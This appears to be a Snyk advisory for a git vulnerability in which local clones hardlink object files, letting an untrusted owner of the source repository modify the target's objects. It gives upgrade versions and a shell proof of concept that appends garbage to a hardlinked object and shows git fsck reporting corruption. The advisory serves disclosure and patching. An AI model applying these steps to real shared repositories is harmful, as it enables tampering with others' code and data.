Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade git/git
to version 2.39.4, 2.40.2, 2.41.1, 2.42.2, 2.43.4, 2.44.1, 2.45.1 or higher.
Affected versions of this package are vulnerable to Improper Preservation of Permissions due to the hardlinking of files from the source repository into the target repository's object database. An attacker can manipulate these files by rewriting them, potentially leading to unauthorized modifications.
$ git init source
Initialized empty Git repository in /tmp/source/.git/
$ cd source/
$ echo original >file
$ git add file
$ git commit -m "initial commit"
[main (root-commit) 3e12aea] initial commit
1 file changed, 1 insertion(+)
create mode 100644 file
$ sudo chown -R untrusted:untrusted .
$ cd ..
$ git clone source target
Cloning into 'target'...
done.
$ cd target/
$ ls -l .git/objects/4b/48deed3a433909bfd6b6ab3d4b91348b6af464
-r--r--r-- 2 untrusted untrusted 32 Apr 12 12:17 .git/objects/4b/48deed3a433909bfd6b6ab3d4b91348b6af464
$ sudo -u untrusted sh -c "echo garbage >>../source/.git/objects/4b/48deed3a433909bfd6b6ab3d4b91348b6af464
$ git fsck
error: garbage at end of loose object '4b48deed3a433909bfd6b6ab3d4b91348b6af464'
error: unable to unpack contents of .git/objects/4b/48deed3a433909bfd6b6ab3d4b91348b6af464
error: 4b48deed3a433909bfd6b6ab3d4b91348b6af464: object corrupt or missing: .git/objects/4b/48deed3a433909bfd6b6ab3d4b91348b6af464
Checking object directories: 100% (256/256), done.
missing blob 4b48deed3a433909bfd6b6ab3d4b91348b6af464